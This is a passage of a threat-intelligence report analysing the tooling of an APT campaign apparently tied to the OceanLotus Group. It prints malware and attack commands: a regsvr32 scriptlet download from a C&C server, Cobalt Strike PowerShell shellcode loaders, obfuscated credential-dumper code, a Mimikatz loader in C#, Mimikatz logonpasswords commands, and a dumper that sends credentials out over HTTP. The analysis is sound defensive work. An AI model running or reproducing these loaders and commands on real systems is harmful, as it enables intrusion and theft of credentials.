<http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html>

<http://subt0x10.blogspot.co.il/2016/04/bypass-application-whitelisting-script.html>

In the screenshot below, an injected rundll32.exe process spawns a cmd.exe process that launches regsvr32.exe in order to download a file from the C&C server.



The command line of the regsvr32.exe process is:
regsvr32 /s /n /u /i:hxxp://108.170.31.69:80/a scrobj.dll

Additional examples of payloads observed in the attack using COM scriptlets:

hxxp://108.170.31.69/a –
 02aa9ad73e794bd139fdb46a9dc3c79f4ff91476
hxxp://images.verginnet.info:80/ppap.png -
 f0a0fb4e005dd5982af5cfd64d32c43df79e1402
hxxp://support(.)chatconnecting.com/pic.png -
 f3e27ad08622060fa7a3cc1c7ea83a7885560899

The downloaded file appears to be a COM Scriptlets (.sct):

```

<?XML version="1.0"?>
<scriptlet>
  <registration progid="018c7f" classid="{852de3c6-2a9b-49fd-9f68-55570f349457}" >
    <script language="vbscript">
      <![CDATA[
        Dim objExcel, WshShell, RegPath, action, objWorkbook, xlmodule

        Set objExcel = CreateObject("Excel.Application")
        objExcel.Visible = False

        Set WshShell = CreateObject("Wscript.Shell")

        function RegExists(regKey)
          on error resume next
          WshShell.RegRead regKey
          RegExists = (Err.number = 0)
        end function

        ' Get the old AccessVBOM value
        RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Se

        if RegExists(RegPath) then
          action = WshShell.RegRead(RegPath)
        else
          action = ""
        end if
      ]>
    </script>
  </registration>
</scriptlet>
  
```

These COM Scriptlets serve two main purposes:

- The COM scriptlet contains a VB macro with an obfuscated payload:

After decoding the encoded part, it can be clearly seen that the payload uses Windows APIs that are indicative of process injection. In addition, it is possible to see that the attackers aimed to evade detection by “renaming” process injection-related functions and also adding spaces to break signature patterns:

In addition, the decoded code contains a suspicious looking array (shellcode) as well as the process injection function to Rundll32.exe:


Obfuscation and evasion

Don't-Kill-My-Cat

Most of the PowerShell payloads seen in the attack were wrapped and obfuscated using a framework called [Don't-Kill-My-Cat \(DKMC\)](https://github.com/Mr-Un1k0d3r/DKMC) that is found on GitHub. This framework generates payloads especially designed to evade antivirus solutions. The unique strings used by this framework perfectly match the malicious payloads that were collected during the attack, as demonstrated below:

DKMC's source code:

<https://github.com/Mr-Un1k0d3r/DKMC/blob/master/core/util/exec-sc.ps1>



The screenshot shows the GitHub interface for the repository 'Mr-Un1k0d3r / DKMC'. The file 'exec-sc.ps1' is selected, showing its initial commit by 'chamilton'. The code is a PowerShell script with 37 lines (29 sloc) and a size of 2.71 KB. The code includes functions for getting procedure addresses and delegate types, using various PowerShell cmdlets like 'Set-StrictMode', 'Param', 'Where-Object', and 'Invoke'.

```
1 Set-StrictMode -Version 2
2
3 $DoIt = @'
4 function func_get_proc_address {
5     Param ($var_module, $var_procedure)
6     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.Globalization
7
8     return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_unsafe_native_methods.MethodName, [Type]::GetTypeFromCLSID([Guid]::FromString('00000000-0000-0000-0000-000000000000'))))
9 }
10
11 function func_get_delegate_type {
12     Param {
```

The same framework was previously observed in PowerShell payloads of the **OceanLotus Group**, as can be seen in a screenshot taken [from a previous report](#):

```

$DoIt = @' ↓
function func_get_proc_address { ↓
    Param ($var_module, $var_procedure) ↓
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where {
        ↓
        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([
    } ↓
    ↓
function func_get_delegate_type { ↓
    Param ( ↓
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, ↓
        [Parameter(Position = 1)] [Type] $var_return_type = [Void] ↓

```

Examples of Don't-Kill-My-Cat used in Cobalt Kitty

Example 1: Cobalt Strike Beacon payload found in ProgramData

File: C:\ProgramData\syscheck\syscheck.ps1

SHA-1: 7657769F767CD021438FCCE96A6BEFAF3BB2BA2D

```

syscheck.ps1
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where {
        $_.GlobalAssemblyCache -And $_.Location.Split('\\')[1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null,
    System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.
    IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle').Invoke($
    $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )


    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Ob
    System.Reflection.AssemblyName('ReflectedDelegate')), [
    System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In
    $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, Auto
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [
    System.Reflection.CallingConventions]::Standard, $var_parameters).SetImpleme
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtua
    $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String("/
OgAAAAA6ydfizeDxwSLDzHxg8cEV4sHMfCJBzHGg8cEg+kEMcA5wX0C6+pe/+bo1P///3QV/3l05/150
1xWvW80pgjNYs4NzWL0XTKxz10ysc5dMrH0XTKxz10yWc5dMlfr5zxXZe7xdt3vVbv8u9XSj5ulo0D8
LXT9fG/9/Xxv/f18b+Z2IHV5S5f7JnYqdWz1J/sh4oF1YrGG+y+2JDVh5S07L0KE9Xjxg3swPKQ1Xm+
```

Example 2: Cobalt Strike Beacon payload from C&C server

SHA-1: 6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09

A screenshot of a web browser window displaying a PowerShell script. The browser's address bar shows the URL "view-source:http://104.237.218.67/icon.ico". The script content is as follows:

```
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.
        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Refl
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.C
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_t
    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String("/OqAAAAA6ydYixCDwASLMDHWgSAEUIsoMdWJKDHq;
$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address k
'@
```

Invoke-obfuscation (PowerShell Obfuscator)

In the fourth phase of the attack, the attackers changed their PowerShell obfuscation framework and used a new tool called “[Invoke-Obfuscation](#)”, which is written by [Daniel Bohannon](#) and available on GitHub. This tool was recently observed being used by the [OceanLotus Group in APTs in Vietnam](#).

The attackers used it to obfuscate their new PowerShell payloads, which consisted mainly of Cobalt Strike Beacon, Mimikatz and a custom-built credential dumper. Below is an example of a PowerShell payload of a custom credential dumper that was obfuscated with “Invoke-Obfuscation”:

```
doutlook.ps1
IEX( ('{7hRDU{29}{57}{190}{69}{102}{172}{56}{9}{124}{55}{114}{171}{40}{108}{151}{51}{91}{86}{173}{5}{4}{157}{67}{36}{6}{130}{127}{143}{81}{73}{26}{113}{167}{160}{38}{144}{187}{119}{137}{96}{188}{1}{80}{154}{49}{30}'+')}{189}{184}{62}{60}{94}{64}{10}{46}{164}{138}{122}{181}{15}{168}{52}{163}{33}{97}{90}{141}{74}{27}{166}{125}{70}{14}{135}{18}{2}{50}{78}{107}{106}{77}{149}{110}{71}{88}{104}{186}{148}{75}{66}{12}{43}{111}{120}{176}{32}{116}{180}{44}{20}{152}{182}{177}{21}{58}{28}{65}{139}{156}{145}{133}{140}{48}{150}{136}{35}{3}{178}{61}{183}{93}{13}{95}{134}{24}{8}{128}{63}{194}{87}{26}{98}{191}{84}{37}{68}{161}{79}{115}{175}{123}{129}{99}{82}{109}{131}'+')}{105}{132}{41}{170}{101}{121}{25}{165}{0}{112}{193}{103}{54}{53}{155}{117}{162}{19}{17}{100}{45}{72}{16}{1}{89}{31}{7}{179}-feR720tPtnI[([@ epyTetageleD-teG = etageleDssecorP46woWsInd0mg ssecorP46woWsI lld.23lenreK sserddAcorP-teG = rddAssecorP46woWsInd0mg } xEdaerhTetaerCtNnd0mg eulaV- xEdaerhTetaerCtN emaN- ytreporPetoN epyTrebmeM- rebmeM-ddA eV6iv snoitcnuF23niWnd0mg )etageleDxEdaerhTetaerCtNnd0mg ,rddAxEdaerhTetaerCtNnd0mg (retnioPnoitcnuFroFetageleDteG::] lahsraM.secivresPoretnI.emitnuR.metsyS[ = xEdaerhTetaerCtNnd0mg )]23tnIU([ )]rtPtnI[ ,]23tnIU[ ,]23tnIU[ ,]23tnIU[ ,]looB[ ,]rtPtnI[ ,]rtPtnI[ ,]rtPtnI[ ,]rtPtnI[
```

PowerShell bypass tool (PSUnlock)

During the attack's fourth phase, the attackers attempted to revive the PowerShell infrastructure that was shut down during the attack's first phase.

To restore the ability to use Cobalt Strike and other PowerShell-based tools, the attackers used a slightly customized version of a tool called [PSUnlock](#), which is available on GitHub. The tool provides a way to bypass Windows Group Policies preventing PowerShell execution, and execute PowerShell scripts without running PowerShell.exe.

Two different payloads of this tool were observed on the compromised machines:

52852C5E478CC656D8C4E1917E356940768E7184 - pshdll35.dll

EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 - pshdll40.dll

The metadata of the file clearly shows that these files are linked to the PSUnlock project:

File Version:	1,0,0,0
File Flags Mask:	3F
File Type:	(2) DLL
File OS:	(4) Windows32, Dos32, NT32
Comments:	
File Description:	PSUnlock
Internal Name:	PowerShdll35.dll
Original Filename:	PowerShdll35.dll

Examples of usage

The attackers changed the original (.exe) file to a .dll file and launched it with Rundll32.exe, passing the desired PowerShell script as an argument using the “-f” flag:

RUNDLL32 C:\ProgramData\PSdll35.dll,main -f C:\ProgramData\nvidia.db



The script actually contains a Cobalt Strike Beacon payload, as shown in the screenshot below, containing the beacon's indicative strings:

0x537bf10	29	could not open process %d: %d
0x537bf30	47	%d is an x64 process (can't inject x86 content)
0x537bf60	47	%d is an x86 process (can't inject x64 content)
0x537bfb0	16	NtQueueApcThread
0x537bfec	30	Could not connect to pipe: %d
0x537c024	34	kerberos ticket purge failed: %08x
0x537c048	32	kerberos ticket use failed: %08x
0x537c06c	29	could not connect to pipe: %d
0x537c08c	25	could not connect to pipe
0x537c0a8	37	Maximum links reached. Disconnect one
0x537c0d4	26	%d%d%d, %d%s%s%s%d%d
0x537c0f0	20	Could not bind to %d
0x537c108	69	IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
0x537c150	10	%%IMPORT%%
0x537c15c	28	Command length (%d) too long
0x537c180	73	IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
0x537c1cc	49	powershell -nop -exec bypass -EncodedCommand "%s"

Credential dumpers

The attackers used at least four different kinds of credential dumping tools. Some were custom-built for this operation and others were simply obfuscated to evade detection.

The main credential dumpers were:

1. Mimikatz
2. GetPassword_x64
3. Custom Windows Credential Dumper
4. Customized HookChangePassword

Mimikatz

Benjamin Delpy's [Mimikatz](#) is one of the most popular credential dumping and post-exploitation tools. It was definitely among the threat actor's favorite tools: it played a major role in helping harvest credentials and carry out lateral movement. The attackers successfully uploaded and executed at least 14 unique Mimikatz payloads, wrapped and obfuscated using different tools.

The following types of Mimikatz payloads were the the most used types:


1. Packed [Mimikatz](#) binaries (using custom and known packers)
2. PowerSploit's "[Invoke-Mimikatz.ps1](#)"
3. Mimikatz obfuscated with [subTee's PELoader](#)

While most antivirus vendors would detect the official Mimikatz binaries right away, it is still very easy to bypass the antivirus detection using different packers or obfuscators.

During the attack's first and second phases, the adversaries mainly used the packed binaries of Mimikatz as well as the PowerSploit's "[Invoke-Mimikatz.ps1](#)." As a result, it was very easy to detect Mimikatz usage just by looking for indicative command line arguments, as demonstrated here:

 2 	<code>dllhosts.exe "kerberos::ptt c:\programdata\log.dat" kerberos::tgt exit</code>
 2 	<code>dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</code>
 2 	<code>dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</code>
 2 	<code>dllhosts.exe privilege::debug token::elevate lsadump::sam exit</code>
 2 	<code>c:\programdata\dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</code>
 2 	<code>c:\programdata\dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</code>

However, **during the third and fourth phases of the attack**, the attackers attempted to improve their “stealth”, and started using [Malwaria's PEXLoader](#) Mimikatz:



The “system.exe” binary is based on Malwaria's PEXLoader, which is written using the .NET framework and is fairly easy to decompile. It's stealthier because it dynamically loads Mimikatz's binary from the resources section of the PE, and then passes the relevant arguments internally, **without leaving traces in the process command line arguments**:

```

using ...

namespace Loader
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            try
            {
                string text = "c:\\programdata\\msdtc.exe";
                string pefile = Resources.pefile;
                byte[] bytes = Convert.FromBase64String(pefile);
                File.WriteAllBytes(text, bytes);
                Process process = new Process();
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.FileName = text;
                process.StartInfo.Arguments = "privilege::debug sekurlsa::logonpasswords exit";
                process.Start();
                string value = process.StandardOutput.ReadToEnd();
                process.WaitForExit(60000);
                File.Delete(text);
                Console.Write(value);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }
        }
    }
}

```

Examining the the resources section, one can see a large base64-encoded section:

```

// Loader.Properties.Resources.resources (Embedded, Public)
Save

```

Name	Value
	TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAgAAAAAA4fug4AtAnNlbgBTM0hVGHpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
	ZGUuDQ0KJAAAAAAAAABQRQAAZIZYCAKM4RFgAAAAAAAAAAAAAPAIgALAgAAAF4PAAAGAAAAAAAAAAAA
	AAAgAAAAABAAQAAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgDwAAAgAAAAAAAMAQIUAAEA
	AAAAABAAAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAACADw
	BQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHsPABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABIAAAAAAAAAAAAAudGV4dAA,
	AOhcDwAAIAAAAF4PAAACAAAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAABABQAAAIAPAAAGAAAAYA8A
	AAAAAAAAAAAAAAAAAAAAQAAAC5yZWxvYwAAAAAAAAAACgDwAAAAAAGYPAAAAAAAAAAAAEAAAEI

After decoding it, we can see the MZ header - indicating that indeed a PE file was hidden inside the resources section:



Similar to the original file, this file is also a .NET application, so it was easy to decompile:

```
using ...

namespace PELoader
{
    internal class Program
    {
        public static void Main()
        {
            try
            {
                string pefile = Resources.pefile;
                byte[] fileBytes = Convert.FromBase64String(pefile);
                PELoader pLoader = new PELoader(fileBytes);
                string arg_32_0 = "Preferred Load Address = {0}";
                ulong imageBase = pLoader.OptionalHeader64.ImageBase;
                Console.WriteLine(arg_32_0, imageBase.ToString("X4"));
                IntPtr pointer = IntPtr.Zero;
                pointer = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pLoader.OptionalHeader64.SizeOfImage, NativeDec
                string arg_87_0 = "Allocated Space For {0} at {1}";
                uint sizeOfImage = pLoader.OptionalHeader64.SizeOfImage;
                Console.WriteLine(arg_87_0, sizeOfImage.ToString("X4"), pointer.ToString("X4"));
                for (int i = 0; i < (int)pLoader.FileHeader.NumberOfSections; i++)
                {
```

Examining the resources section shows the base64 embedded file:

```
// PELoader.Properties.Resources.resources (Embedded, Public)

Save

String Table

Name Value

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAACAEAAA4fug4AtAnNlbgBTM0hVGhpcyBwcmluZmFtIGhbm5vdCBiZSBydW4gaW4gRE9TIGlv
ZGUuDQ0KJAAAAAAAAAXIDNhU/VdMIP1XTJT9V0yWo3IMIH1XTJajd4ybPVdMlqN2TJD9V0yWo3O
MIH1XTl1G5YyV/VdMiVoMDJR9V0yWgmMnD1XTJT9VvykfRdMnQzIzS9V0yWo3UMh/1XTJajcky
UvVdMlqNzDJ9V0yUmljaFP1XTIAAAAAAAAAAAAAAAAAAAUeUAAGSG8BL5ThYAAAAAAAAAADw
ACIAcwUAAABwAAHAQAAAAAAYrBgAAEAAAAAAAAAQAEAAAAEAAAAIAAAUAAgAAAAABQACAAAA
AAAAAYsAAAQAAAAAADAECAAAAQAAAAAAAEAAAAAAAAAAEAAAAAAAAABAAAAAAAAAAAAEAAA
```

After decoding the base64 section, we see that it is another PE file, which is the original Mimikatz payload taken from GitHub:

624608	7400680069006E00670000000000000061006E00730077006500720000000000	thing answer
624640	43006C006500610072002000730063007200650065006E002000280064006F00	Clear screen (do
624672	650073006E0027007400200077006F0072006800200077006900740068002000	esn't work with
624704	7200650064006900720065006300740069006F006E0073002C0020006C006900	redirections, li
624736	68006500200050007300450078006500630029000000000063006C0073000000	ke PsExec) cls
624768	510075006900740020006D0069006D0069006800610074007A00000000000000	Quit mimikatz
624800	65007800690074000000000000000042006100730069006300200063006F00	exit Basic co
624832	6D006D0061006E00640073002000280064006F006500730020006E006F007400	mmands (does not
624864	2000720065007100750069007200650020006D006F00640075006C0065002000	require module
624896	6E0061006D00650029000000000000005300740061006E006400610072006400	name) Standard
624928	20006D006F00640075006C00650000007300740061006E006400610072006400	module standard
624960	000000000000000042007900650021000A00000000000000340032002E000A00	Bye! 42.
624992	000000000000000000000000000000A00200020002000280020002800	((
625024	0A00200020002000200020002900200029000A00200020002E005F005F005F00	)) . - - -
625056	5F005F005F002E000A00200020007C00200020002000200020007C005D00	- - - . - - -]
625088	0A00200020005C00200020002000200020002F000A002000200020006000	- - - \ /
625120	2D002D002D002D0027000A000000000053006C0065006500700020003A002000	- - - - ' Sleep :

GetPassword_x64

GetPassword_x64 is a known, publicly available password dumping tool by the K8Team. It was one of the tools used by Chinese “Emissary Panda” group, also known as “Threat Group-3390 (TG-3390)” in [Operation Iron Tiger](#), as reported by TrendMicro.

It is interesting to notice that this tool’s hash, was the one out of the two hashes that were known to threat intelligence engines at the time of the attack:

log.exe [GetPassword_x64]	7f812da330a617400cb2ff41028c859181fe663f
------------------------------	--

It’s even more interesting to see that even in 2017, almost three years after it was first uploaded to VirusTotal, and two years after the same tool has been reported being used in an APT, it still has a very low detection rate and it is misclassified as adware or Mimikatz:

Detection ratio 2 / 54

First submission 2014-06-12 16:04:36 UTC (2 years, 11 months ago)

Last submission 2016-08-14 03:56:26 UTC (8 months, 4 weeks ago)

Tags 64bits peexe assembly

e88396f182dc1622cac08172ba56a4ede87b9855312b929433b8e9c2c88f83e5
1734ae

AegisLab Adware.Crossrider.mDJI
Kaspersky Trojan-PSW.Win64.Mimikatz.bv

Below is a screenshot of the tool’s output, dumping local users’ passwords:

```
Administrator: C:\Windows\System32\cmd.exe
Authentication Id:0;181494
Authentication Package:NTLM
Primary User:[REDACTED]
Authentication Domain:[REDACTED]

* User: [REDACTED]
* Domain: [REDACTED]
* Password: [REDACTED]

Authentication Id:0;181456
Authentication Package:NTLM
Primary User:[REDACTED]
Authentication Domain:[REDACTED]
```

Custom “HookPasswordChange”

In an attempt to remain persistent on the network, the attackers introduced a new tool that alerts them if a compromised account password was changed. The attackers borrowed the idea and a lot of the code from a known [publicly available tool](#) called “[HookPasswordChange](#)”, which was inspired by a previous work done by “[carnal0wnage](#)”. The original tool hooks Windows “*PasswordChangeNotify*” in Windows’ default password filter (rassfm.dll). By doing so, every time this function is called, it will be redirected to the malicious *PasswordChangeNotify* function, which in turn will copy the changed password to a file and then return the execution back to the original *PasswordChangeNotify* function, allowing the password to be changed.

The observed payloads are:

SRCHUI.dll - 29BD1BAC25F753693DF2DDF70B83F0E183D9550D

Addrclients.dll - FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642

As can be seen, the internal names of the DLL files is “Password.exe”.

Version Info			
File Version:	1.0.0.1	Product Version	1.0.0.1
File Flags Mask:	3F	File Flags:	(0)
File Type:	(1) Application	File Subtype:	(0) Unknown Subtype
File OS:	(40004) Dos32, NT32		
Comments:		Company Name:	Microsoft Corporation
File Description:	Microsoft Helper	File Version (ASCII):	1.0.0.1
Internal Name:	Password.exe	Legal Copyright:	Copyright (C) 2017
Original Filename:	Password.exe	Product Name (ASCII):	Microsoft® Windows® Operating System
Product Version (ASCII):	1.0.0.1	Private Build:	

The exported functions of the malicious DLLs include the malicious code to hook rassfm.dll's password change functions:

Export Name	Ordinal	Virtual Address
 InitializeChangeNotify	0	0x3700
 PasswordChangeNotify	1	0x3740
 PasswordFilter	2	0x3720

Following are strings extracted from the malicious binaries, indicating the hooking of rassfm.dll's *PasswordChangeNotify* functions:

```
Start hooking ....
Start hooking ...
rassfm ...
rassfm
Can't load rassfm. GetModuleHandle fail: %d
PasswordChangeNotify ...
PasswordChangeNotify
Get PasswordChangeNotify fail. Error : %d
Overwrite ...
VirtualProtect fail. Error : %d
Restore VirtualProtect fail. Error : %d
VirtualAlloc fail. Error : %d
Hook OK.
```

However, the code was not taken as is. The attackers made quite a few modifications, most of them are “cosmetic”, like changing functions names and logging strings, as well as adding functionality to suit their needs.


Custom Outlook credential dumper

The attackers showed particular interest in obtaining the Outlook passwords of their victims. To do so, they wrote a custom credential dumper in PowerShell that focused on Outlook. Analysis of the code clearly shows that the attackers borrowed code from a [known Windows credential dumper](#) and modified it to fit their needs.

The payloads used are the following PowerShell scripts:


```
C:\ProgramData\doutlook.ps1 -
EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
```

C:\ProgramData\adobe.dat - B769FE81996CBF7666F916D741373C9C55C71F15



Since PowerShell execution was disabled at this stage of the attack, they attackers executed the PowerShell script via a tool called [PSUnlock](#) that enabled them to bypass PowerShell execution restrictions. This was done as follows:

rundll32 PS.dll,main -f outlook.ps1




The dumped strings of the Rundll32 process teach us two important things:

1. The attackers wrote a binary tool and then ported it to PowerShell, using PowerSploit's "[Invoke-ReflectivePEInjection](#)".
2. The attackers preconfigured the tools to write the output to ProgramData folder, where they hid most of their tools

Doutlook.ps1:

(0x2f815f0 (194): Invoke-ReflectivePEInjection -PEBytes \$RawPEFile -ExeArgs '-o c:\programdata\log.txt' -ForceASLR

Example of the output of the the PowerShell script shows the direct intent to obtain Outlook passwords:



The tool is designed to recover Outlook passwords stored in Windows registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Results - rundll32.exe (352)

12 results.

Address	Length	Result
0x4f95380	244	Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\937
0x4f95478	176	Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
0x4f9552c	42	***From 2002 - 2010 Outlook Password***
0x4f95558	37	***Latest 2013 Outlook Password***
0x5aa55e8	244	Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\937
0x5aa56e0	176	Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
0x5aa5794	42	***From 2002 - 2010 Outlook Password***
0x5aa57c0	37	***Latest 2013 Outlook Password***
0xa9a67d8	244	Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\937
0xa9a68d0	176	Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
0xa9a6984	42	***From 2002 - 2010 Outlook Password***
0xa9a69b0	37	***Latest 2013 Outlook Password***

This technique is well known and was used in different tools such as SecurityXploded's:

<http://securityxploded.com/outlookpasswordsecrets.php>

<http://securityxploded.com/outlook-password-dump.php>

In addition, they also used borrowed code from [Oxid's Windows Vault Password Dumper](#), written by Massimiliano Montoro, as can be clearly seen in the dumped strings from memory:

Results - rundll32.exe (352)		
21 results.		
Address	Length	Result
0x4f9578c	24	vaultcli.dll
0x4f957a8	33	Cannot load vaultcli.dll library
0x4f9581c	35	Cannot load vaultcli.dll functions
0x4f95840	30	Cannot open vault. Error (%d)
0x4f95860	41	Cannot enumerate vault items. Error (%d)
0x4f9588c	23	Windows vault is empty
0x4f95954	31	Cannot close vault. Error (%d)
0x5aa59f4	24	vaultcli.dll
0x5aa5a10	33	Cannot load vaultcli.dll library

The original code from [Oxid's Windows Vault Password Dumper](#) matches the strings found in memory:

```

137 // Obtain the password Vault handler
138 res = pVaultOpenVault ((DWORD*) valutdir, 0 , &hVault);
139 if (res != 0)
140 {
141     printf ("Cannot open vault. Error (%d)\n", res);
142     goto exit;
143 }
144
145 // Enumerate password vault items
146 res = pVaultEnumerateItems (hVault, 512, &count , (DWORD*) &pBuffer);
147 if (res != 0)
148 {
149     printf ("Cannot enumerate vault items. Error (%d)\n", res);
150     goto exit;
151 }
152
153 if (count == 0)
154 {
155     printf ("Windows vault is empty\n");
156     goto exit;
157 }
158 else
159 {
160     printf ("Default vault location contains %d items\n\n", count);
161 }
162

```

Custom Windows credential dumper

The attackers wrote a custom Windows credential dumper, which is a patchwork of two known dumping tools along with their own code. This password dumper borrows much of its code from [Oxid's Windows Vault Password Dumper](#) as well as [Oxid's creddump project](#).

The observed payloads are:

Adrclients.ps1 - 6609A347932A11FA4C305817A78638E07F04B09F
KB471623.exe - 6609A347932A11FA4C305817A78638E07F04B09F


The PowerShell version reveals the command-line arguments that the attackers need to supply the program:

Invoke-ReflectivePEInjection -PEBytes \$RawPEFile -ExeArgs '/s http://example.com/q= // C:\programdata\log.txt /d C:\programdata\adrclients.dll' -ForceASLR}

- **URL** - to post the dumped credentials in GET parameters
- **Log file** - log all dumped credentials in a file called "log.txt" created in programdata
- **DLL** - to load *HookPasswordChange* payload

This above command line arguments do not appear in the code of the two aforementioned Oxid's projects. It was added by the attackers in order to include exfiltration over HTTP along with the ability to combine the HookPasswordChange functionality.


Example of strings found in the binaries of the custom credential dumper:



```
Missing arguments.  
Can't create log file.  
Set Debug Privilege fail. Error: %d  
Open LSA.  
OpenProcess fail. Error: %d  
Start Inject.  
Load Dll OK.  
invalid string position  
vector<T> too long  
string too long  
SeDebugPrivilege  
NtQuerySystemInformation  
RtlCompareUnicodeString  
Kernel32  
Load Kernel32 fail. Error : %d  
InitChangeNotify
```

Modified NetCat

The attackers used a [customized version](#) of the famous "[Netcat](#)" aka, tcp/ip "Swiss Army knife", which was taken from GitHub. The tool was executed on very few machines, and was uploaded to the compromised machines by the backdoor (goopdate.dll):



File names: kb74891.exe, kb-10233.exe

SHA-1 Hash: c5e19c02a9a1362c67ea87c1e049ce9056425788

The attackers named the executable “kb-10233.exe”, masquerading as a Windows update file. Netcat is usually detected by most of security products as a hacktool. however, this version is only detected by one antivirus vendor, and this is most likely the reason the attackers chose to use it.

<https://virustotal.com/en/file/bf01148b2a428bf6edff570c1bbbf51a342ff7844ceccaf22c0e09347d59a54/analysis/>

SHA256: bf01148b2a428bf6edff570c1bbbf51a342ff7844ceccaf22c0e09347d59a54

File name: nc

Detection ratio: 1 / 61

Analysis date: 2017-04-08 21:14:53 UTC (3 days, 14 hours ago)

😊 **Probably harmless!** There are strong indicators suggesting that this file is safe to use.

Custom IP check tool

The attackers used an unknown tool, whose purpose is simply to check the external IP of the compromised machine:



It's interesting that the attackers renamed the executable twice from **ip.exe** to **dllhost.exe** or **cmd.exe**, probably to make it appear less suspicious by giving it common Windows executables names:

c:\programdata**dllhost.exe** - 6aec53554f93c61f4e3977747328b8e2b1283af2

c:\programdata**cmd.exe** - 6aec53554f93c61f4e3977747328b8e2b1283af2

c:\programdata**ip.exe** - 6aec53554f93c61f4e3977747328b8e2b1283af2

The IP tool was deployed by the attackers in the attack's second phase. The product name "WindowsFormsApplication1", strongly suggests that the tool was written using Microsoft's .NET framework:

• File

ip.exe Image file	executable/windows Extension type	c:\programdata\ip.exe Path
6aec53554f93c61f4e3977747328b... SHA1 Signature	0c994f679f9672d881713a183ba8b... MD5 signature	WindowsFormsApplication1 Product name

The code is very short and straight-forward and clearly reveals the tool's purpose: checking the external IP of the compromised machine using the well-known IP service ipinfo.io.

